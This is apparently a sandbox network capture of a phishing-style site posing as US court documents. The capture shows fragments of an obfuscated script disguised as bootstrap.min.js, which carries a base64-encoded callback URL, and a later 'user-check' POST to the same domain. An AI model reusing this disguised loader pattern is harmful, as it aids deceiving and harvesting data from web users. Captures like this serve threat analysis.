2024-12-09 13:20:10 UTC	667	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 1330394848-1323985617.cos.ap-singapore.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:10 UTC	506	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553308 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Mon, 09 Dec 2024 13:20:10 GMT ETag: "9b4a79dc4b00816a9b979a03b9dbb89a" Last-Modified: Sun, 08 Dec 2024 18:19:58 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 14614264867115634093 x-cos-request-id: Njc1NmVlOGFfMWM3NmI3MDlfMTE4YWJfNjRhNWViOA== x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2024-12-09 13:20:10 UTC	15878	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 78 64 48 56 79 4c 6e 56 7a 59 32 39 31 63 6e 52 6b 62 32 4e 31 62 57 56 75 64 48 4d 75 59 32 39 74 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e Data Ascii: var file = "aHR0cHM6Ly9xdHVyLnVzY291cnRkb2N1bWVudHMuY29tL25leHQucGhw";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.
2024-12-09 13:20:11 UTC	8188	IN	Data Raw: 2d 73 6d 2d 39 5c 78 32 30 7b 27 2c 27 5c 78 32 32 3e 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 27 2c 27 69 6d 61 72 79 5c 78 32 30 68 72 5c 78 32 30 7b 27 2c 27 79 61 76 37 33 57 7a 52 39 59 27 2c 27 74 28 3a 6c 61 73 74 2d 63 68 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 32 30 74 Data Ascii: -sm-9\x20{','\x22>\x20<div\x20cl','imary\x20hr\x20{','yav73WzR9Y','t(:last-ch','der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x201;\x20t
2024-12-09 13:20:11 UTC	16384	IN	Data Raw: 78 32 30 31 2e 32 35 27 2c 27 64 65 35 5c 78 32 30 7d 5c 78 32 30 2e 74 61 62 27 2c 27 3a 5c 78 32 30 33 39 2e 33 33 33 33 70 27 2c 27 2e 63 6f 6c 2d 32 2c 5c 78 32 30 2e 63 27 2c 27 73 3d 5c 78 32 32 69 6d 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 Data Ascii: x201.25','de5\x20}\x20.tab',':\x2039.3333p','.col-2,\x20.c','s=\x22img-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x
2024-12-09 13:20:11 UTC	16384	IN	Data Raw: 74 27 2c 27 69 6e 6b 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 27 2c 27 66 6f 63 75 73 2c 5c 78 32 30 61 2e 62 27 2c 27 6f 6e 65 3b 5c 78 32 30 62 61 63 6b 67 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 6c 27 2c 27 74 68 3a 5c 78 32 30 31 30 30 25 3b Data Ascii: t','ink\x20{\x20colo','focus,\x20a.b','one;\x20backg','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-xl','th:\x20100%;
2024-12-09 13:20:11 UTC	16384	IN	Data Raw: 74 72 3a 68 6f 76 27 2c 27 73 69 7a 65 3a 31 32 70 74 3b 27 2c 27 3c 6d 65 74 61 5c 78 32 30 6e 61 6d 65 27 2c 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 32 30 31 35 68 27 2c 27 55 41 41 41 41 42 41 41 41 41 27 2c 27 62 6f 78 2d 70 61 63 6b 3a 5c 78 32 30 27 2c 27 69 70 73 69 73 3b Data Ascii: tr:hov','size:12pt;','<meta\x20name','oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x2015h','UAAAABAAAA','box-pack:\x20','ipsis;
2024-12-09 13:20:11 UTC	16384	IN	Data Raw: 2c 27 2d 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 74 6e 3a 66 6f 63 75 73 2c 27 2c 27 65 66 74 3a 5c 78 32 30 37 35 25 5c 78 32 30 7d 27 2c 27 3d 5c 78 32 32 76 69 65 77 70 6f 72 74 27 2c 27 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 Data Ascii: ,'-2\x20{\x20-webk','p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','btn:focus,','eft:\x2075%\x20}','=\x22viewport','\x20sign\x20i
2024-12-09 13:20:11 UTC	8120	IN	Data Raw: 7d 5c 78 32 30 31 30 30 27 2c 27 38 61 37 34 35 5c 78 32 30 7d 5c 78 32 30 2e 62 27 2c 27 42 6a 63 4c 64 27 2c 27 31 30 38 2c 5c 78 32 30 31 31 37 2c 5c 78 32 30 27 2c 27 5c 78 32 30 30 5c 78 32 30 39 31 2e 36 36 36 36 27 2c 27 6f 74 74 6f 6d 3a 5c 78 32 30 2e 33 65 27 2c 27 6c 6f 72 3a 5c 78 32 30 23 32 38 61 37 27 2c 27 74 2d 73 75 63 63 65 73 73 3a 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 62 6f 72 64 65 72 27 2c 27 6c 6c 61 70 73 65 2e 73 68 6f 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 42 79 4d 62 6d 50 62 6e 48 4e 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 78 6c 2d 27 2c 27 6f 72 64 69 6e 61 6c 2d 67 72 27 2c 27 7d 5c 78 32 30 2e 69 6e 76 61 6c 69 64 27 2c 27 65 6d 5c 78 32 30 7d 5c 78 32 30 2e 6d 6f 64 61 27 2c 27 70 79 2d 6c 67 2d Data Ascii: }\x20100','8a745\x20}\x20.b','BjcLd','108,\x20117,\x20','\x200\x2091.6666','ottom:\x20.3e','lor:\x20#28a7','t-success:','\x20}\x20.border','llapse.sho','\x200;\x20margin','ByMbmPbnHN',',\x20.col-xl-','ordinal-gr','}\x20.invalid','em\x20}\x20.moda','py-lg-
2024-12-09 13:20:11 UTC	16384	IN	Data Raw: 3a 6e 6f 74 28 27 2c 27 78 29 5c 78 32 30 7b 5c 78 32 30 2e 63 6f 6c 2d 27 2c 27 62 4f 62 69 6e 27 2c 27 70 6f 72 74 61 6e 74 5c 78 32 30 7d 5c 78 32 30 27 2c 27 72 3a 5c 78 32 30 23 66 66 63 31 30 37 27 2c 27 6f 72 65 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 27 2c 27 72 3a 5c 78 32 30 35 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 6c 65 3a 66 6f 63 75 73 5c 78 32 30 7b 27 2c 27 6d 2d 38 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 27 2c 27 2e 63 61 72 64 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 5c 78 32 30 23 62 64 32 31 33 30 5c 78 32 30 7d 27 2c 27 6a 66 54 6e 67 27 2c 27 78 6c 2d 31 30 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 63 6f 6e 64 61 72 79 3a 6e 6f 27 2c 27 2d 61 6c 69 67 6e 3a 5c 78 32 30 63 65 27 2c 27 72 64 65 72 3a 5c 78 32 30 34 3b 5c 78 32 30 Data Ascii: :not(','x)\x20{\x20.col-','bObin','portant\x20}\x20','r:\x20#ffc107','ore\x20{\x20back','r:\x205\x20}\x20.or','le:focus\x20{','m-8\x20{\x20-web','.card\x20{\x20-w','\x20#bd2130\x20}','jfTng','xl-10\x20{\x20-w','condary:no','-align:\x20ce','rder:\x204;\x20
2024-12-09 13:20:11 UTC	16384	IN	Data Raw: 35 72 65 6d 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 74 2d 62 6f 78 2d 64 69 72 65 27 2c 27 77 2d 6c 65 66 74 5c 78 32 32 5c 78 32 30 61 72 27 2c 27 72 6b 5c 78 32 30 74 68 2c 5c 78 32 30 2e 74 61 27 2c 27 6d 6e 5c 78 32 30 21 69 6d 70 6f 72 74 27 2c 27 4d 44 42 51 6f 48 42 67 63 4b 27 2c 27 64 5c 78 32 30 2e 66 6f 72 6d 2d 63 68 27 2c 27 74 65 72 5c 78 32 30 7b 5c 78 32 30 6c 65 66 74 27 2c 27 73 74 69 66 79 3b 5c 78 32 30 6a 75 73 27 2c 27 75 6e 64 2d 73 69 7a 65 3a 5c 78 32 30 27 2c 27 65 6c 69 6e 65 5c 78 32 30 21 69 6d 70 27 2c 27 65 6e 74 3a 5c 78 32 30 68 6f 72 69 7a 27 2c 27 7d 5c 78 32 30 7d 5c 78 32 30 40 6d 65 64 69 61 27 2c 27 2d 36 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 73 70 6c 61 79 3a 5c 78 32 30 74 61 62 27 2c 27 3a 5c 78 32 30 Data Ascii: 5rem\x20}\x20.','t-box-dire','w-left\x22\x20ar','rk\x20th,\x20.ta','mn\x20!import','MDBQoHBgcK','d\x20.form-ch','ter\x20{\x20left','stify;\x20jus','und-size:\x20','eline\x20!imp','ent:\x20horiz','}\x20}\x20@media','-6\x20{\x20-webk','splay:\x20tab',':\x20
2024-12-09 13:20:11 UTC	16384	IN	Data Raw: 2e 6e 61 76 62 61 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 75 70 27 2c 27 33 73 5c 78 32 30 65 61 73 65 2d 6f 75 27 2c 27 5c 78 32 30 2e 35 72 65 6d 5c 78 32 30 2e 37 35 27 2c 27 72 69 67 68 74 5d 5c 78 32 30 2e 61 72 27 2c 27 67 6e 2d 69 74 65 6d 73 2d 78 27 2c 27 64 30 6b 6b 59 56 63 73 79 71 27 2c 27 5c 78 32 30 76 69 73 69 62 6c 65 3b 5c 78 32 30 27 2c 27 3a 5c 78 32 30 6c 69 73 74 2d 69 74 65 27 2c 27 6c 6f 72 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 6f 6e 6d 6f 75 73 65 6f 76 65 27 2c 27 44 4d 6b 61 64 27 2c 27 6f 72 3a 5c 78 32 30 23 38 30 62 64 66 27 2c 27 3a 68 6f 76 65 72 3e 74 68 5c 78 32 30 27 2c 27 75 70 3e 2e 63 61 72 64 3a 66 27 2c 27 74 2e 6c 69 73 74 2d 67 72 6f 27 2c 27 79 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d Data Ascii: .navba','\x20}\x20.dropup','3s\x20ease-ou','\x20.5rem\x20.75','right]\x20.ar','gn-items-x','d0kkYVcsyq','\x20visible;\x20',':\x20list-ite','lor:\x20trans','onmouseove','DMkad','or:\x20#80bdf',':hover>th\x20','up>.card:f','t.list-gro','y\x20{\x20color:','-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49888	172.67.129.98	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:14 UTC	656	OUT	POST /next.php HTTP/1.1 Host: qtur.uscourtdocuments.com Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://jdjdhjh.uscourtdocuments.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:14 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2024-12-09 13:20:16 UTC	957	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:16 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: https://jdjdhjh.uscourtdocuments.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3IbvTrqG%2F84onMXjsGupioqM2dRbJIVg0gwyfkaPj7NHbgGtxClf%2FdWL3g7rD%2Bn%2FuD87F8tu1gO7aeeGXLxd3GKdNcjP7lK8rz0cHgZfAl7tsClC6l0hZKlloaDs4rZwZtTAzXWa5UUhF6OC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef54a9ce8c70cb2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1721&rtt_var=650&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1269&delivery_rate=1676234&cwnd=152&unsent_bytes=0&cid=305e65eaea1e50a3&ts=1660&x=0"
2024-12-09 13:20:16 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 10{"status":false}
2024-12-09 13:20:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49881	43.152.64.207	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:14 UTC	391	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 1330394848-1323985617.cos.ap-singapore.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:15 UTC	506	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553308 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Mon, 09 Dec 2024 13:20:14 GMT ETag: "9b4a79dc4b00816a9b979a03b9dbb89a" Last-Modified: Sun, 08 Dec 2024 18:19:58 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 14614264867115634093 x-cos-request-id: Njc1NmVlOGVfOGFlZjc4MGJfMmJhOGVfNjUwY2ZkNQ== x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2024-12-09 13:20:15 UTC	7698	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 78 64 48 56 79 4c 6e 56 7a 59 32 39 31 63 6e 52 6b 62 32 4e 31 62 57 56 75 64 48 4d 75 59 32 39 74 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e Data Ascii: var file = "aHR0cHM6Ly9xdHVyLnVzY291cnRkb2N1bWVudHMuY29tL25leHQucGhw";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.
2024-12-09 13:20:15 UTC	8184	IN	Data Raw: 5c 78 32 30 63 6f 6c 75 6d 6e 27 2c 27 61 6e 64 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 36 2c 5c 78 32 30 27 2c 27 7d 5c 78 32 30 2e 70 62 2d 78 6c 2d 32 27 2c 27 46 78 45 79 49 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 3a 5c 78 32 30 72 Data Ascii: \x20column','and\x20.navba',',\x20.col-6,\x20','}\x20.pb-xl-2','FxEyIygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20.or',':\x20r
2024-12-09 13:20:15 UTC	8184	IN	Data Raw: 39 5c 78 32 30 7b 27 2c 27 5c 78 32 32 3e 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 27 2c 27 69 6d 61 72 79 5c 78 32 30 68 72 5c 78 32 30 7b 27 2c 27 79 61 76 37 33 57 7a 52 39 59 27 2c 27 74 28 3a 6c 61 73 74 2d 63 68 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 32 30 74 27 2c 27 75 Data Ascii: 9\x20{','\x22>\x20<div\x20cl','imary\x20hr\x20{','yav73WzR9Y','t(:last-ch','der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x201;\x20t','u
2024-12-09 13:20:15 UTC	8184	IN	Data Raw: 78 32 30 31 2e 32 35 27 2c 27 64 65 35 5c 78 32 30 7d 5c 78 32 30 2e 74 61 62 27 2c 27 3a 5c 78 32 30 33 39 2e 33 33 33 33 70 27 2c 27 2e 63 6f 6c 2d 32 2c 5c 78 32 30 2e 63 27 2c 27 73 3d 5c 78 32 32 69 6d 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 Data Ascii: x201.25','de5\x20}\x20.tab',':\x2039.3333p','.col-2,\x20.c','s=\x22img-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x
2024-12-09 13:20:15 UTC	8184	IN	Data Raw: 6f 6c 74 69 70 2c 5c 78 32 30 2e 66 6f 27 2c 27 6d 64 2d 30 2c 5c 78 32 30 2e 70 78 2d 27 2c 27 2c 5c 78 32 30 68 33 5c 78 32 30 7b 5c 78 32 30 70 61 67 27 2c 27 75 70 3e 2e 63 61 72 64 3a 6f 27 2c 27 31 31 3b 26 23 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 2c 27 6c 65 66 74 3a 5c 78 32 30 61 Data Ascii: oltip,\x20.fo','md-0,\x20.px-',',\x20h3\x20{\x20pag','up>.card:o','11; &#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj','left:\x20a
